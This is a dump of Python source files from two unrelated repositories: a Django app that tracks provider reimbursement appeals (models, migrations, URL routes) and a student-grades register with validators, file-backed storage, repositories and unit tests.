field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='app.fi_master'),
),
migrations.AddField(
model_name='appeal_master',
name='prrb_contact_id',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='app.prrb_contacts'),
),
migrations.AddField(
model_name='appeal_master',
name='rep_id',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='app.rep_master'),
),
migrations.AddField(
model_name='appeal_master',
name='status_id',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='app.status_master'),
),
]
| {"/app/forms.py": ["/app/models.py"], "/app/admin.py": ["/app/models.py"], "/app/views.py": ["/app/forms.py", "/app/models.py"], "/app/urls.py": ["/app/views.py"]} |
45,967 | rgienko/appealsMasterv2 | refs/heads/master | /app/migrations/0014_auto_20200430_1443.py | # Generated by Django 2.1.15 on 2020-04-30 19:43
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('app', '0013_auto_20200428_1627'),
]
operations = [
migrations.AlterField(
model_name='file_storage',
name='file_type',
field=models.CharField(choices=[('CONF', 'Appeal Submission Confirmation'), ('ACK', 'Acknowledgement & Critical Due Dates'), ('30', '30 Day Letter')], max_length=100),
),
]
| {"/app/forms.py": ["/app/models.py"], "/app/admin.py": ["/app/models.py"], "/app/views.py": ["/app/forms.py", "/app/models.py"], "/app/urls.py": ["/app/views.py"]} |
45,968 | rgienko/appealsMasterv2 | refs/heads/master | /app/models.py | from django.db import models
from django.urls import reverse
import uuid
from datetime import date
# Create your models here.
# FORIEGN KEY TABLES
class action_master(models.Model):
id = models.CharField(primary_key=True, max_length=25)
note = models.TextField(blank=True, null=True)
description = models.TextField(max_length=3000, blank=True, null=True)
lead_time = models.IntegerField(db_column='lead time', blank=True, null=True)
type = models.CharField(max_length=255, blank=True, null=True)
def __str__(self):
return(self.id)
class charge_master(models.Model):
charge_id = models.IntegerField(primary_key=True)
description = models.TextField(blank=True, null=True)
def __str__(self):
return(str(self.charge_id))
class fi_master(models.Model):
fi_id = models.IntegerField(primary_key=True)
fi_name = models.CharField(max_length=255, blank=True, null=True)
fi_abbr = models.CharField(max_length=25, blank=True, null=True)
fi_juris = models.CharField(max_length=50, blank=True, null=True)
def __str__(self):
return '{0}-{1}'.format(self.fi_abbr, self.fi_juris)
class state_name_master(models.Model):
state_id = models.CharField(primary_key=True, max_length=2)
state_name = models.CharField(max_length=25, blank=True, null=True)
def __str__(self):
return(self.state_id)
class parent_master(models.Model):
parent_id = models.CharField(primary_key=True, max_length=255)
parent_full_name = models.CharField(max_length=255, blank=True, null=True)
corp_contact_first_name = models.CharField(max_length=255, blank=True, null=True)
corp_contact_last_name = models.CharField(max_length=255, blank=True, null=True)
corp_contact_street = models.CharField(max_length=255, blank=True, null=True)
corp_contact_city = models.CharField(max_length=255, blank=True, null=True)
corp_contact_state_id = models.ForeignKey(state_name_master, on_delete = models.CASCADE)
corp_contact_zip = models.CharField(max_length=255, blank=True, null=True)
corp_contact_phone = models.CharField(max_length=255, blank=True, null=True)
corp_contact_fax = models.CharField(max_length=255, blank=True, null=True)
corp_contact_email = models.EmailField(max_length=255, blank=True, null=True)
def __str__(self):
return(self.parent_id)
class prov_name_master(models.Model):
provider_number = models.CharField(primary_key=True, max_length=7, verbose_name="Proivider Number")
provider_name = models.CharField(max_length=255, blank=True, null=True)
fye = models.CharField(max_length=10, blank=True, null=True)
city = models.CharField(max_length=255, blank=True, null=True)
county = models.CharField(max_length=255, blank=True, null=True)
state_id = models.ForeignKey(state_name_master, on_delete = models.CASCADE) # FK
parent_id = models.ForeignKey(parent_master, on_delete=models.CASCADE) #FK
fi_number = models.CharField(max_length=25, blank=True, null=True)
is_client = models.BooleanField()
def __str__(self):
return(self.provider_number)
def get_system_name(self):
return (self.parent_id.parent_full_name)
def get_state_name(self):
return(self.state_id.state_name)
class prrb_contacts(models.Model):
prrb_contact_id = models.IntegerField(primary_key=True)
last_name = models.CharField(max_length=255)
first_name = models.CharField(max_length=255)
title = models.CharField(max_length=255)
email_address = models.CharField(max_length=255)
appeals_general_email = models.CharField(max_length=255, blank=True, null=True)
phone_number = models.CharField(max_length=255)
street_1 = models.CharField(max_length=255, blank=True, null=True)
street_2_suite_dept = models.CharField(max_length=255, blank=True, null=True)
city = models.CharField(max_length=255, blank=True, null=True)
state_id = models.ForeignKey(state_name_master, on_delete=models.CASCADE)
zip = models.CharField(max_length=255, blank=True, null=True)
def __str__(self):
return '{0} - {1}'.format(str(self.prrb_contact_id), self.last_name)
class rep_master(models.Model):
rep_id = models.IntegerField(primary_key=True)
rep = models.CharField(max_length=255, blank=True, null=True)
last_name = models.CharField(max_length=255, blank=True, null=True)
first_name = models.CharField(max_length=255, blank=True, null=True)
def __str__(self):
return '{0} - {1}'.format(str(self.rep_id), self.last_name)
class srg_staff_master(models.Model):
sri_staff_id = models.IntegerField(primary_key=True)
employee = models.CharField(max_length=255, blank=True, null=True)
last_name = models.CharField(max_length=255, blank=True, null=True)
first_name = models.CharField(max_length=255, blank=True, null=True)
def __str__(self):
return('{0} - {1}'.format(str(self.sri_staff_id), self.employee))
class issue_master(models.Model):
issue_id = models.IntegerField(primary_key=True)
old_id = models.IntegerField(blank=True, null=True)
issue = models.CharField(max_length=255)
realization_weight = models.FloatField(blank=True, null=True)
rep_id = models.ForeignKey(srg_staff_master, on_delete=models.CASCADE)
category_id = models.IntegerField(blank=True, null=True)
abbreviation = models.CharField(max_length=255, blank=True, null=True)
short_description = models.TextField(max_length=1500,blank=True, null=True)
long_description = models.TextField(max_length=4000, blank=True, null=True)
is_groupable = models.BooleanField()
def __str__(self):
return '{0} - {1}'.format(str(self.issue_id), self.issue)
class status_master(models.Model):
status_id = models.IntegerField(primary_key=True)
status = models.CharField(max_length=255, blank=True, null=True)
description = models.TextField(blank=True, null=True)
def __str__(self):
return '{0}-{1}'.format(str(self.status_id), self.status)
class appeal_master(models.Model): # my person model related to example
case_number = models.CharField(primary_key=True, max_length=7)
rep_id = models.ForeignKey(rep_master, on_delete=models.CASCADE,) # FK
fi_id = models.ForeignKey(fi_master, on_delete=models.CASCADE)
prrb_contact_id = models.ForeignKey(prrb_contacts, on_delete=models.CASCADE) # FK
status_id = models.ForeignKey(status_master, on_delete=models.CASCADE) # FK
appeal_name = models.CharField(max_length=255, blank=True, null=True)
structure_choices = [
('INDIVIDUAL', 'Individual'),
('CIRP', 'CIRP'),
('OPTIONAL', 'Optional')
]
structure = models.CharField(max_length=10, choices = structure_choices)
general_info_and_notes = models.TextField(blank=True, null=True)
prrb_trk_num = models.CharField(max_length=255, blank=True, null=True)
mac_trk_num = models.CharField(max_length=255, blank=True, null=True)
create_date = models.DateField(blank=True, null=True) # Date of Acknowledgement
request_date = models.DateField(blank=True, null=True) # Submission Date
acknowledged = models.BooleanField(blank=True, null=True, default=False) # will update the create_date
is_ffy = models.BooleanField(blank=True, null=True, default=False)
def __str__(self):
return(self.case_number)
def get_rep(self):
return(self.rep_id.rep)
def get_fi(self):
return(self.fi_id.fi_name)
def get_prrb(self):
return(self.prrb_contact_id.last_name)
def get_status(self):
return(self.status_id.status)
class provider_master(models.Model):
id = models.UUIDField(primary_key=True, default = uuid.uuid4)
case_number = models.CharField(max_length=7)
provider_number = models.ForeignKey(prov_name_master, on_delete=models.CASCADE, default="01-0001") #FK
fiscal_year = models.IntegerField(blank=True, null=True)
npr_date = models.DateField(blank=True, null=True)
receipt_date = models.DateField(blank=True, null=True) # Create Date
was_added = models.BooleanField(blank=True, null=True, default=False)
issue_id = models.ForeignKey(issue_master, on_delete=models.CASCADE, default=1) # FK
charge_id = models.ForeignKey(charge_master,on_delete=models.CASCADE, default=800) # FK
amount = models.DecimalField(decimal_places = 2, max_digits = 16, blank=True, null=True)
audit_adjustments = models.CharField(max_length=255, blank=True, null=True)
sri_staff_id = models.ForeignKey(srg_staff_master, on_delete=models.CASCADE, default=14) # FK
active_in_appeal_field = models.BooleanField(blank=True, null=True, default=True)
to = models.CharField(max_length=7, blank=True, null=True)
to_date = models.DateField(blank=True, null=True)
from_field = models.CharField(max_length=7, blank=True, null=True)
agreement = models.CharField(max_length=255, blank=True, null=True)
agree_note = models.TextField(blank=True, null=True)
provider_specific_note = models.TextField(blank=True, null=True)
def __str__(self):
return(self.case_number)
def get_issue_name(self):
return(self.issue_id.issue)
def get_provider_name(self):
return(self.provider_number.provider_name)
def get_provider_parent(self):
return(self.provider_number.parent_id.parent_full_name)
def get_provider_parent_id(self):
return(self.provider_number.parent_id)
def get_provider_fye(self):
return(self.provider_number.fye)
def get_provider_city(self):
return(self.provider_number.city)
def get_provider_state(self):
return(self.provider_number.state_id)
class critical_dates_master(models.Model):
id = models.UUIDField(primary_key=True, default=uuid.uuid4)
case_number = models.CharField(max_length=7)
critical_date = models.DateTimeField()
action_id = models.ForeignKey(action_master, on_delete=models.CASCADE, blank=True, null=True)
# action = models.TextField(blank=True, null=True)
response = models.TextField(blank=True, null=True)
status = models.BooleanField(blank=True, null=True)
def __str__(self):
return(str(self.case_number))
def get_action_note(self):
return(self.action_id.note)
def get_action_details(self):
return(self.action_id.description)
def get_response(self):
return(self.action_id.type)
class file_storage(models.Model):
id = models.UUIDField(primary_key=True, default=uuid.uuid4)
case_number = models.CharField(max_length=7)
file_type_choices = [
('Submission Conf', 'Appeal Submission Confirmation'),
('Acknowledgement', 'Acknowledgement & Critical Due Dates'),
('30 Day Letter', '30 Day Letter')
]
file_type = models.CharField(max_length=100, choices = file_type_choices)
file = models.FileField(upload_to='case_files/')
def get_file_type(self):
return(self.file_type)
def get_file_name(self):
return (self.file.name)
def get_file_url(self):
return (self.file.url)
| {"/app/forms.py": ["/app/models.py"], "/app/admin.py": ["/app/models.py"], "/app/views.py": ["/app/forms.py", "/app/models.py"], "/app/urls.py": ["/app/views.py"]} |
45,969 | rgienko/appealsMasterv2 | refs/heads/master | /app/migrations/0011_auto_20200421_1536.py | # Generated by Django 2.1.15 on 2020-04-21 20:36
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('app', '0010_auto_20200420_1603'),
]
operations = [
migrations.AlterField(
model_name='issue_master',
name='long_description',
field=models.TextField(blank=True, max_length=4000, null=True),
),
migrations.AlterField(
model_name='issue_master',
name='rep_id',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='app.srg_staff_master'),
),
]
| {"/app/forms.py": ["/app/models.py"], "/app/admin.py": ["/app/models.py"], "/app/views.py": ["/app/forms.py", "/app/models.py"], "/app/urls.py": ["/app/views.py"]} |
45,970 | rgienko/appealsMasterv2 | refs/heads/master | /app/urls.py | """appealsMasterv2 URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.1/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.urls import path, include
from django.conf import settings
from django.conf.urls.static import static
from app import views
from .views import parent_update_view
urlpatterns = [
path(r'', views.home, name='home'),
path('signin', views.sign_in, name='signin'),
path('signout', views.sign_out, name='signout'),
path('callback', views.callback, name='callback'),
path(r'newAppeal/', views.new_appeal, name='new_appeal_master' ),
path(r'charge-master/', views.charge_master_view, name='charge_master_url'),
path(r'issue-master/', views.issue_master_view, name='issue_master_url'),
path(r'issue-master/new/', views.new_issue_master, name='new_issue_master_url'),
path(r'issue-master/detail/<pk>/', views.issue_detail_view, name='issue_detail_url'),
path(r'issue-master/detail/<issue_id>/edit/', views.update_issue_view.as_view(), name='update_issue_url'),
path(r'parent-master/', views.parent_master_view, name='parent_master_url'),
path(r'parent-master/new/', views.new_parent_view, name='new_parent_url'),
path(r'parent-master/edit/<parent_id>/', views.parent_update_view.as_view(), name='edit_parent_url'),
path(r'prov-name-master/', views.provider_name_master_view, name='provider_name_master_url'),
path(r'prov-name-master/new/', views.new_provider_name_view.as_view(), name='new_provider_name_master_url'),
path(r'prov-name-master/<provider_number>/edit/', views.provider_name_update_view.as_view(), name='provider_name_update_url'),
path(r'details/<pk>/', views.appeal_details, name='appeal_detail_url'),
path(r'details/<pk>/delete', views.delete_issue, name='delete_issue'),
path(r'transfer/<pk>/', views.transfer_issue_view, name='transfer_issue_url'),
path(r'details/<pk>/critical_due/', views.add_critical_due_dates, name='add_critical_due_dates_url'),
path(r'groups/', views.find_group_view, name='find_group_url'),
path(r'calendar/', views.calendar, name='calendar'),
] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)
| {"/app/forms.py": ["/app/models.py"], "/app/admin.py": ["/app/models.py"], "/app/views.py": ["/app/forms.py", "/app/models.py"], "/app/urls.py": ["/app/views.py"]} |
45,971 | rgienko/appealsMasterv2 | refs/heads/master | /app/migrations/0003_auto_20200413_1539.py | # Generated by Django 2.1.15 on 2020-04-13 20:39
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('app', '0002_auto_20200410_1550'),
]
operations = [
migrations.AddField(
model_name='provider_master',
name='fiscal_year',
field=models.IntegerField(blank=True, null=True),
),
migrations.AddField(
model_name='provider_master',
name='npr_date',
field=models.DateField(blank=True, null=True),
),
migrations.AddField(
model_name='provider_master',
name='receipt_date',
field=models.DateTimeField(blank=True, null=True),
),
]
| {"/app/forms.py": ["/app/models.py"], "/app/admin.py": ["/app/models.py"], "/app/views.py": ["/app/forms.py", "/app/models.py"], "/app/urls.py": ["/app/views.py"]} |
45,972 | rgienko/appealsMasterv2 | refs/heads/master | /app/migrations/0005_auto_20200413_2217.py | # Generated by Django 2.1.15 on 2020-04-14 03:17
from django.db import migrations, models
import django.db.models.deletion
import uuid
class Migration(migrations.Migration):
dependencies = [
('app', '0004_auto_20200413_1602'),
]
operations = [
migrations.CreateModel(
name='critical_dates_master',
fields=[
('id', models.UUIDField(default=uuid.uuid4, primary_key=True, serialize=False)),
('critical_date', models.DateField()),
('response', models.TextField(blank=True, null=True)),
('status', models.BooleanField(blank=True, null=True)),
('action_id', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='app.action_master')),
],
),
migrations.AlterField(
model_name='appeal_master',
name='create_date',
field=models.DateField(blank=True, null=True),
),
migrations.AlterField(
model_name='appeal_master',
name='request_date',
field=models.DateField(blank=True, null=True),
),
migrations.AddField(
model_name='critical_dates_master',
name='case_number',
field=models.ForeignKey(default='00-0000', on_delete=django.db.models.deletion.CASCADE, to='app.appeal_master'),
),
]
| {"/app/forms.py": ["/app/models.py"], "/app/admin.py": ["/app/models.py"], "/app/views.py": ["/app/forms.py", "/app/models.py"], "/app/urls.py": ["/app/views.py"]} |
45,973 | rgienko/appealsMasterv2 | refs/heads/master | /app/migrations/0012_auto_20200422_1536.py | # Generated by Django 2.1.15 on 2020-04-22 20:36
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('app', '0011_auto_20200421_1536'),
]
operations = [
migrations.AlterField(
model_name='issue_master',
name='category_id',
field=models.IntegerField(blank=True, null=True),
),
migrations.AlterField(
model_name='issue_master',
name='realization_weight',
field=models.FloatField(blank=True, null=True),
),
]
| {"/app/forms.py": ["/app/models.py"], "/app/admin.py": ["/app/models.py"], "/app/views.py": ["/app/forms.py", "/app/models.py"], "/app/urls.py": ["/app/views.py"]} |
45,979 | langchristian96/student-registers | refs/heads/master | /Domain/GradeValidator.py | from Domain.Grades import *
from Domain.Exceptions import *
class gradeValidator:
@staticmethod
def validate(grade):
if isinstance(grade,Grade)==False:
raise StudentException("Can only validate grade objects")
er=""
if len(grade.getTeacher())==0:
er+="Grade must have a teacher \n"
if len(er)>0:
raise StudentException(er)
| {"/Domain/GradeValidator.py": ["/Domain/Grades.py"], "/Test/TestDisciplines.py": ["/Domain/Disciplines.py"], "/BaseFile/FileGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/Base/GradeBase.py": ["/Domain/Grades.py"], "/AppCoordinator.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Base/GradeBase.py", "/Base/DisciplineBase.py", "/Base/StudentBase.py", "/Controller/DisciplineController.py", "/Controller/StudentController.py", "/Controller/GradeController.py", "/Controller/UndoController.py", "/BaseFile/FileGradeBase.py", "/BaseFile/FileStudentBase.py", "/UI/UI.py"], "/Test/TestGrades.py": ["/Domain/Grades.py"], "/Domain/StudentValidator.py": ["/Domain/Students.py"], "/Test/TestStudentController.py": ["/Domain/Disciplines.py", "/Domain/Students.py", "/Base/StudentBase.py", "/Controller/StudentController.py", "/Controller/UndoController.py"], "/UI/UI.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Domain/GradeValidator.py", "/Domain/StudentValidator.py", "/Controller/DisciplineController.py", "/Controller/StatisticsControllers.py"], "/Test/TestGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/BaseFile/FileStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Base/StudentBase.py": ["/Domain/Students.py"], "/Test/testStudents.py": ["/Domain/Students.py"], "/SortFilter.py": ["/Base/DisciplineBase.py", "/Base/GradeBase.py", "/Base/StudentBase.py"], "/Controller/GradeController.py": ["/Base/GradeBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py", "/SortFilter.py"], "/Controller/DisciplineController.py": ["/Base/DisciplineBase.py"], "/Base/DisciplineBase.py": ["/Domain/Disciplines.py"], "/Test/TestGradeController.py": ["/Domain/Grades.py", "/Domain/Disciplines.py", "/Base/GradeBase.py", "/Controller/GradeController.py"], "/Test/TestStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Controller/StudentController.py": ["/Base/StudentBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py"], "/Controller/StatisticsControllers.py": ["/SortFilter.py", "/Controller/StudentController.py", "/Controller/DisciplineController.py", "/Controller/GradeController.py", "/Base/StudGrade.py"]} |
45,980 | langchristian96/student-registers | refs/heads/master | /Test/TestDisciplines.py | import unittest
from Domain.Disciplines import *
class TestDisciplines(unittest.TestCase):
def setUp(self):
self.discipline=Discipline('qwert')
def testGetDiscipline(self):
self.assertEqual(self.discipline.getDiscipline(), 'qwert')
def testSetDiscipline(self):
self.discipline.setDiscipline('qwerty')
self.assertEqual(self.discipline.getDiscipline(), 'qwerty')
if __name__ == "__main__":
#import sys;sys.argv = ['', 'Test.testName']
unittest.main() | {"/Domain/GradeValidator.py": ["/Domain/Grades.py"], "/Test/TestDisciplines.py": ["/Domain/Disciplines.py"], "/BaseFile/FileGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/Base/GradeBase.py": ["/Domain/Grades.py"], "/AppCoordinator.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Base/GradeBase.py", "/Base/DisciplineBase.py", "/Base/StudentBase.py", "/Controller/DisciplineController.py", "/Controller/StudentController.py", "/Controller/GradeController.py", "/Controller/UndoController.py", "/BaseFile/FileGradeBase.py", "/BaseFile/FileStudentBase.py", "/UI/UI.py"], "/Test/TestGrades.py": ["/Domain/Grades.py"], "/Domain/StudentValidator.py": ["/Domain/Students.py"], "/Test/TestStudentController.py": ["/Domain/Disciplines.py", "/Domain/Students.py", "/Base/StudentBase.py", "/Controller/StudentController.py", "/Controller/UndoController.py"], "/UI/UI.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Domain/GradeValidator.py", "/Domain/StudentValidator.py", "/Controller/DisciplineController.py", "/Controller/StatisticsControllers.py"], "/Test/TestGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/BaseFile/FileStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Base/StudentBase.py": ["/Domain/Students.py"], "/Test/testStudents.py": ["/Domain/Students.py"], "/SortFilter.py": ["/Base/DisciplineBase.py", "/Base/GradeBase.py", "/Base/StudentBase.py"], "/Controller/GradeController.py": ["/Base/GradeBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py", "/SortFilter.py"], "/Controller/DisciplineController.py": ["/Base/DisciplineBase.py"], "/Base/DisciplineBase.py": ["/Domain/Disciplines.py"], "/Test/TestGradeController.py": ["/Domain/Grades.py", "/Domain/Disciplines.py", "/Base/GradeBase.py", "/Controller/GradeController.py"], "/Test/TestStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Controller/StudentController.py": ["/Base/StudentBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py"], "/Controller/StatisticsControllers.py": ["/SortFilter.py", "/Controller/StudentController.py", "/Controller/DisciplineController.py", "/Controller/GradeController.py", "/Base/StudGrade.py"]} |
45,981 | langchristian96/student-registers | refs/heads/master | /BaseFile/FileGradeBase.py | from Base.GradeBase import GradeBase
from Domain.Grades import Grade
class FileGradeBase(GradeBase):
_fName="grades.txt"
def __init__(self):
GradeBase.__init__(self)
self.__loadFromFile()
def add(self,stud):
GradeBase.add(self, stud)
self.__storeToFile()
def update(self, id, newGrade, newTeacher, newDiscipline):
GradeBase.update(self, id, newGrade, newTeacher, newDiscipline)
self.__storeToFile()
def remove(self, id, discipline):
grade=GradeBase.remove(self, id, discipline)
self.__storeToFile()
return grade
def __storeToFile(self):
f=open(self._fName,"w")
grades=GradeBase.getAll(self)
for e in grades:
cf=str(str(e.getId())+';'+str(e.getGrade())+';'+e.getTeacher()+';'+e.getDiscipline()+'\n')
f.write(cf)
f.close()
def __loadFromFile(self):
try:
f=open(self._fName,'r')
except IOError:
return
line=f.readline().strip()
while line!="":
t=line.split(';')
gr=Grade(t[3],int(t[0]),t[2],int(t[1]))
GradeBase.add(self, gr)
line=f.readline().strip()
f.close() | {"/Domain/GradeValidator.py": ["/Domain/Grades.py"], "/Test/TestDisciplines.py": ["/Domain/Disciplines.py"], "/BaseFile/FileGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/Base/GradeBase.py": ["/Domain/Grades.py"], "/AppCoordinator.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Base/GradeBase.py", "/Base/DisciplineBase.py", "/Base/StudentBase.py", "/Controller/DisciplineController.py", "/Controller/StudentController.py", "/Controller/GradeController.py", "/Controller/UndoController.py", "/BaseFile/FileGradeBase.py", "/BaseFile/FileStudentBase.py", "/UI/UI.py"], "/Test/TestGrades.py": ["/Domain/Grades.py"], "/Domain/StudentValidator.py": ["/Domain/Students.py"], "/Test/TestStudentController.py": ["/Domain/Disciplines.py", "/Domain/Students.py", "/Base/StudentBase.py", "/Controller/StudentController.py", "/Controller/UndoController.py"], "/UI/UI.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Domain/GradeValidator.py", "/Domain/StudentValidator.py", "/Controller/DisciplineController.py", "/Controller/StatisticsControllers.py"], "/Test/TestGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/BaseFile/FileStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Base/StudentBase.py": ["/Domain/Students.py"], "/Test/testStudents.py": ["/Domain/Students.py"], "/SortFilter.py": ["/Base/DisciplineBase.py", "/Base/GradeBase.py", "/Base/StudentBase.py"], "/Controller/GradeController.py": ["/Base/GradeBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py", "/SortFilter.py"], "/Controller/DisciplineController.py": ["/Base/DisciplineBase.py"], "/Base/DisciplineBase.py": ["/Domain/Disciplines.py"], "/Test/TestGradeController.py": ["/Domain/Grades.py", "/Domain/Disciplines.py", "/Base/GradeBase.py", "/Controller/GradeController.py"], "/Test/TestStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Controller/StudentController.py": ["/Base/StudentBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py"], "/Controller/StatisticsControllers.py": ["/SortFilter.py", "/Controller/StudentController.py", "/Controller/DisciplineController.py", "/Controller/GradeController.py", "/Base/StudGrade.py"]} |
45,982 | langchristian96/student-registers | refs/heads/master | /Base/GradeBase.py | from Domain.Exceptions import StudentException
from Domain.Grades import Grade
class GradeBase:
def __init__(self):
'''
Creates an instance of the GradeBase.
'''
self.__data=[]
def __find(self,id):
'''
Returns the index grade having the given id.
Input: id - integer, the id of the student that is being searched
for
Output: index - if the grade was found, -1 - otherwise
'''
for i in range(len(self.__data)):
if self.__data[i].getId()==id:
return i
return -1
def __findUpdate(self,id,discipline):
"""
Return the grade's id for a given id and discipline
Input: id - integer - id of the student
discipline - string
"""
for i in range(len(self.__data)):
if self.__data[i].getId()==id and self.__data[i].getDiscipline()==discipline:
return i
return -1
def findByDisciplineAndID(self,id,discipline):
"""
Returns the grade at the given discipline with the given student id
Input: id - integer
discipline - string
"""
for i in range(len(self.__data)):
if self.__data[i].getId()==id and self.__data[i].getDiscipline()==discipline:
return self.__data[i]
return None
def findById(self,id):
'''
Returns the grade having the given id.
Input: id - integer, the id of the grade that is being searched
for
Output: the grade, if found or None otherwise
'''
idx=self.__find(id)
if idx==-1:
return None
else:
return self.__data[idx]
def add(self,stud):
'''
Adds a grade to the base.
Input: stud - object of type Grade
Output: the given Grade is added to the base, if no other
grade with the same id exists
Exceptions: raises StudentException if another grade with the
same id already exists
'''
c=self.findById(stud.getId())
if self.findById(stud.getId())!=None and c.getDiscipline()==stud.getDiscipline():
raise StudentException("ID already exists at the same discipline")
self.__data.append(stud)
def remove(self,id,discipline):
'''
Removes a grade from the base, using its id
Input: id - integer, the id of the grade that must be removed
Output: if such a grade exists, it is removed and returned
Exceptions: raises StudentException if a grade with the given id
does not exist
'''
idx=self.__findUpdate(id,discipline)
if idx==-1:
raise StudentException("There is no student with the given ID")
return self.__data.pop(idx)
def __len__(self):
'''
Returns the size of the list of grades
(Overriding the len() built-in function)
'''
return len(self.__data)
def getAll(self):
'''
Returns the list of grades
'''
return self.__data
def update(self,id,newGrade,newTeacher,newDiscipline):
'''
Updates the grade with the given id with the new grade, new teacher, new discipline.
Input: id- integer positive number
newGrade-integer between 0 and 10
newTeacher-string
newDiscipline-string
Raises StudentException if there is no student with the given id.
'''
idx=self.__findUpdate(id, newDiscipline)
if idx==-1:
raise StudentException("There is no student with the given ID or the student does not have a grade at the given discipline")
self.__data[idx].setTeacher(newTeacher)
self.__data[idx].setGrade(newGrade)
self.__data[idx].setDiscipline(newDiscipline)
def testGradeBase():
base=GradeBase()
s1=Grade("FP",1,"Irina",10)
s2=Grade("FP",1,"Arthur",10)
assert len(base)==0
base.add(s1)
assert len(base)==1
assert base.findById(1)==s1
try:
base.add(s1)
assert False
except StudentException:
assert True
try:
base.add(s2)
assert False
except StudentException:
assert True
s2=Grade("FP",2,"Arthur",10)
base.add(s2)
assert len(base)==2
assert base.findById(1)==s1
assert base.findById(2)==s2
base.remove(1)
assert len(base)==1
assert base.findById(2)==s2
try:
base.remove(1)
assert False
except StudentException:
assert True
assert base.remove(2)==s2
assert len(base)==0
if __name__ == '__main__':
testGradeBase()
| {"/Domain/GradeValidator.py": ["/Domain/Grades.py"], "/Test/TestDisciplines.py": ["/Domain/Disciplines.py"], "/BaseFile/FileGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/Base/GradeBase.py": ["/Domain/Grades.py"], "/AppCoordinator.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Base/GradeBase.py", "/Base/DisciplineBase.py", "/Base/StudentBase.py", "/Controller/DisciplineController.py", "/Controller/StudentController.py", "/Controller/GradeController.py", "/Controller/UndoController.py", "/BaseFile/FileGradeBase.py", "/BaseFile/FileStudentBase.py", "/UI/UI.py"], "/Test/TestGrades.py": ["/Domain/Grades.py"], "/Domain/StudentValidator.py": ["/Domain/Students.py"], "/Test/TestStudentController.py": ["/Domain/Disciplines.py", "/Domain/Students.py", "/Base/StudentBase.py", "/Controller/StudentController.py", "/Controller/UndoController.py"], "/UI/UI.py": ["/Domain/Students.py", "/Domain/Disciplines.py", "/Domain/Grades.py", "/Domain/GradeValidator.py", "/Domain/StudentValidator.py", "/Controller/DisciplineController.py", "/Controller/StatisticsControllers.py"], "/Test/TestGradeBase.py": ["/Base/GradeBase.py", "/Domain/Grades.py"], "/BaseFile/FileStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Base/StudentBase.py": ["/Domain/Students.py"], "/Test/testStudents.py": ["/Domain/Students.py"], "/SortFilter.py": ["/Base/DisciplineBase.py", "/Base/GradeBase.py", "/Base/StudentBase.py"], "/Controller/GradeController.py": ["/Base/GradeBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py", "/SortFilter.py"], "/Controller/DisciplineController.py": ["/Base/DisciplineBase.py"], "/Base/DisciplineBase.py": ["/Domain/Disciplines.py"], "/Test/TestGradeController.py": ["/Domain/Grades.py", "/Domain/Disciplines.py", "/Base/GradeBase.py", "/Controller/GradeController.py"], "/Test/TestStudentBase.py": ["/Base/StudentBase.py", "/Domain/Students.py"], "/Controller/StudentController.py": ["/Base/StudentBase.py", "/Controller/ChangeHistory.py", "/Controller/UndoController.py"], "/Controller/StatisticsControllers.py": ["/SortFilter.py", "/Controller/StudentController.py", "/Controller/DisciplineController.py", "/Controller/GradeController.py", "/Base/StudGrade.py"]} |
45,983 | langchristian96/student-registers | refs/heads/master | /AppCoordinator.py | from Domain.Students import *
from Domain.Disciplines import *
from Domain.Grades import *
from Base.GradeBase import *
from Base.DisciplineBase import *
from Base.StudentBase import *
from Controller.DisciplineController import *
from Controller.StudentController import *
from Controller.GradeController import *
from Controller.UndoController import *
from BaseFile.FileGradeBase import *
